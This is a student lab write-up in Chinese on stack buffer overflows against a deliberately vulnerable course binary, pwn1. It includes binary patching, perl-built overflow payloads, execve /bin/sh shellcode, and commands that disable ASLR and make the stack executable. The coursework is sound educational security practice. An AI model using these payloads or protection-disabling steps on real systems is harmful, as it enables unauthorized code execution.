当前位置: 首页 > news >正文

20252816 2025-2026-2 《网络攻防实践》第九次作业

20252816 2025-2026-2 《网络攻防实践》第九次作业

>.< 相关概念

  • 缓冲区溢出(Buffer Overflow):缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。理想情况下,程序应检查每个输入缓冲区的数据长度,并不允许输入超出缓冲区本身分配的空间容量,但是大量程序总是假设数据长度是与所分配的存储空间是相匹配的,因而很容易产生缓冲区溢出漏洞。

  • 缓冲区溢出攻击原理:缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态,栈溢出是指存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改栈上的敏感信息(通常是返回地址),从而导致程序流程的改变。堆溢出则是存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题,内核溢出漏洞存在于一些内核模块或程序中,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的。其中栈溢出在各类缓冲区溢出漏洞中是最容易理解,也是最早被发现和利用的技术形态。

  • linux平台中的栈溢出攻击技术按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式。

    • NSR模式:主要适用于被溢出的缓冲区变量比较大,足以容纳 Shellcode 的情况。其攻击数据从低地址到高地址的构造方式是一堆Nop指令(即空操作指令)之后填充Shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区,从而使得程序执行流程跳转至Nop指令所填充出来的“着陆区”中,无论跳转至哪个Nop指令上,程序都会继续执行,并最终运行Shellcode,向攻击者给出 Shell。

    • RNS模式:一般用于被溢出的变量比较小,不足于容纳Shellcode的情况。攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖 RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。在溢出攻击之后,攻击数据将在RET区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转至Nop指令所构成的“着陆区”,并最终执行 Shellcode。

    • RS模式:这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的。在这种模式下能够精确地定位出 Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无须引入Nop空指令构建“着陆区”。

1. 实践内容

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践任务

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  3. 注入一个自己制作的shellcode并运行这段shellcode。

实践要求

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  2. 掌握反汇编与十六进制编程器

  3. 能正确修改机器指令改变程序执行流程

  4. 能正确构造payload进行bof攻击

2. 实践过程

实验环境

按作业要求,将linux可执行文件名加上本人学号(即重命名为“pwn1-20252816”),将操作主机名按如下命令改为本人姓名拼音(chenmengrun)。

sudo hostname chenmengrun
kali
exec zsh # 刷新Shell的环境和配置

1

相关工具安装

  • gdb安装

    sudo apt update
    sudo apt install gdb
    

    2

  • execstack安装

    wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
    sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
    

    3

2.1 正常执行“pwn1-20252816”文件

  • 首先进入“pwn1-20252816”文件所在的文件夹

    cd ~/Desktop
    
  • 给该文件加上可执行权限

    chmod +x pwn1-20252816
    
  • 运行程序

    ./pwn1-20252816
    

    4

    可以看到,运行成功。输入“hello”字符串后正确回显。

2.2 手工修改“pwn1-20252816”文件,改变程序执行流程,直接跳转到getShell函数。

  • 采用反汇编工具得到该文件的汇编代码。

    objdump -d pwn1-20252816 | more
    

    5

  • 翻阅一下代码,找到main函数,里面调用了foo

    6

    观察call foo那一行,已知call 指令的汇编码 = 0xE8call E8指令,后面跟的 4 个字节,不是目标函数的绝对地址,而是目标地址 - 下一条指令地址的差值(偏移)

    目标地址是08048491,下一条指令地址是080484ba,偏移 = 08048491 - 080484ba = -0x29,计算机用补码表示负数,-0x29 的 32 位补码是 0xFFFFFFD7,按小端序存储就是 d7 ff ff ff,也就是上面的机器码。

    现在要将本来调用foo函数的改成调用getshell函数的偏移地址,也就是0804847d - 080484ba = -0x3d,-0x3d的 32 位补码是0xFFFFFFC3,按小端序存储就是 c3 ff ff ff

  • 知道要怎么修改了那就好办了,接下来我们对文件进行编辑,用vim编辑器打开(发现是乱码)

    vim pwn1-20252816
    :%!xxd # 在乱码下方添加该命令将其修改为16进制
    

    7

    8

  • 找到e8 d7 ff ff ff这一段,将其修改为e8 c3 ff ff ff (按INSERT进入修改)

    9

    10

  • 再输入以下命令转换为之前格式:

    :%!xxd -r
    :wq
    
  • 查看一下是否修改成功

    objdump -d pwn1-20252816 | more
    

    11

    嘿嘿嘿修改成功了。

  • 运行一下修改后的程序(可通过输入exit结束程序运行)

    12

    成功改变程序执行流程,直接跳转到getShell函数!

2.3 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 第一步:还原pwn1-20252816文件,记得用chmod +x pwn1-20252816给它加上可执行权限

  • 第二步:用objdump -d pwn1-20252816 | more查看程序的详细信息,观察一下foo函数缓冲区位置和大小

13

缓冲区的起始地址是 ebp - 0x1c ;返回地址的地址是 ebp + 4,缓冲区大小= (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节,于是我们的攻击输入就是前32个字节给它填满,后四个字节改为getshell的地址

  • 用调试工具gdb验证一下

    gdb pwn1-20252816
    r
    CCCCCCCCMMMMMMMMRRRRRRRR222222223333
    info r
    

    14

    确实eip的值是0x33333333,是后四字节的内容。

  • 前三十二字节随便填充,后面四个字节放getshell的地址,去看下getshell函数信息

    15

    getshell地址是\xd\x84\x04\x08

  • 将要填充的字节放入文件input_20252816

    perl -e 'print "CCCCCCCCMMMMMMMMRRRRRRRR@@@@@@@@\x7d\x84\x04\x08\x0a"' > input_20252816
    xxd input_20252816
    

    16

  • 将要填充的内容发给程序,触发溢出并让终端一直打开

     (cat input_20252816; cat) | ./pwn1-20252816
    

    17

    太感动了,成功构造攻击输入字符串,覆盖返回地址,触发getShell函数

2.4 注入一个自己制作的shellcode并运行这段shellcode。

  • 设置pwn1-20252816程序堆栈可执行,并验证是否设置成功

    execstack -s pwn1-20252816
    execstack -q pwn1-20252816
    

    18

  • 关闭地址随机化,将其状态设为0

    more /proc/sys/kernel/randomize_va_space
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    

    19

  • 将要填充的字节放入文件input_cmr

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_cmr
    
  • 将要填充的内容发给程序,触发溢出并让终端一直打开

    (cat input_cmr;cat) | ./pwn1-20252816
    

    20

    再开一个终端2查看pwn20253915进程号

    21

    进程号为714152

  • 再开一个终端3,对pwn1-20252816文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。

    gdb pwn1-20252816
    attach 714152
    disassemble foo
    break *0x080484ae
    

    22

  • 终端1(cat input_cmr;cat) | ./pwn1-20252816按回车后,再终端3输入c继续运行。

    info r esp
    x/16x 0xffffcf4c
    

    23

    查看栈顶指针所在的位置为0xffffcf4c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4 = 0xffffcf50

  • 得到栈顶指针的地址后重新构造input_cmr文件,并运行。

    perl -e 'print "A" x 32;print "\x50\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_cmr
    (cat input_cmr;cat) | ./pwn1-20252816
    

    24

    运行自己的shellcode成功!

3. 学习中遇到的问题及解决

  • 问题1:初步尝试运行pwn1-20252816程序失败

    25

  • 解决方案1:需要用chmod +x pwn1-20252816给该文件加上可执行权限

  • 问题2:在第一个手动修改偏移地址的实验中,忘记负数补码怎么求了

  • 解决方案2:在复习了计组知识后学会了先变反码再+1。

4. 学习感想和体会

这次的实践对我的挑战很大,本科学习的汇编知识并不扎实,入栈出栈弹弹弹什么的对我来说理解起来有点费劲,但还是学到了很多:第一次完整、直观地接触底层内存攻击原理,先后完成手动修改机器码、栈溢出调用内置函数、注入自定义shellcode三个层次的实验,还学会了用gdb工具加断点调试。

本次实验让我意识到网络安全攻防底层依托计算机底层原理,汇编、内存、进制、操作系统知识缺一不可。漏洞攻击不仅是简单构造字符,而是对内存布局、程序执行流程的深度理解。今后我会继续夯实底层基础知识,多动手调试分析,加深对二进制漏洞、内存安全的理解,提高网络安全实践能力。

http://www.jsqmd.com/news/824026/

相关文章:

  • qt-QSchematic-3.0.3.zip
  • AbMole 小讲堂丨XMU-MP-1:MST1/2抑制剂在器官再生与Hippo通路研究中的应用
  • 3分钟完成漫画翻译:BallonsTranslator的终极解决方案
  • TestDisk PhotoRec:开源数据恢复双剑客,从分区修复到文件拯救的完整指南
  • 编写程序统计家庭保险种类,赔付概率数据,精简刚需保险配置,避免普通人盲目购买多余保险浪费钱财。
  • 牛牛爱数学【牛客tracker 每日一题】
  • Windows构建工具终极指南:一键解决Node.js原生模块编译难题
  • PyTorch新手避坑指南:用CIFAR10数据集复现LeNet,从数据加载到模型保存的完整流程
  • 从 Git 2.30 升级到 2.40 需要注意哪些兼容性配置?
  • DeepSeek总结的PostgreSQL 18.4, 17.10, 16.14, 15.18 和 14.23 发布
  • AI Agent技术实践指南:从核心原理到系统实现
  • LaTeX-PPT:3分钟学会在PowerPoint中专业编辑数学公式的终极指南
  • 卡梅德生物技术快报|噬菌体肽库展示技术:细胞穿透肽筛选全流程技术实现
  • 3个创新视角:重新定义AMD平台内存监控的新范式
  • 7-Zip ZS:六大压缩引擎如何让你的文件管理效率提升3倍
  • JoyCon-Driver:让Switch手柄在Windows上大放异彩的终极神器
  • P1250 种树【洛谷算法习题】
  • 7个实用技巧:Equalizer APO音效定制完全指南
  • 7步掌握AMD Ryzen调试工具:免费解锁硬件级精准调控
  • React基础-第一章:React 简介与开发环境搭建
  • CSDN一键同步多平台插件原理深度解析(非官方API版)
  • 面试官最爱问的iOS底层三剑客:RunLoop、KVO、Runtime实战避坑指南
  • 基于Cursor的AI编程助手:从提示词工程到个性化工作流配置
  • 免费B站视频下载神器:3分钟掌握BilibiliDown跨平台批量下载技巧
  • 硬件原型开发实战:从面包板到洞洞板的完整迁移指南
  • 突破性开源解决方案:foo2zjs一站式实现Linux打印机完美驱动支持
  • 034、LVGL默认主题与自定义主题
  • 淋巴细胞亚群联合细胞因子检测评估脓毒症并发MODS
  • RT1064驱动ICM42605避坑指南:从SPI配置到数据转换,新手也能搞定的IMU实战
  • NAS极速搭建PostgreSQL:打造个人专属数据仓库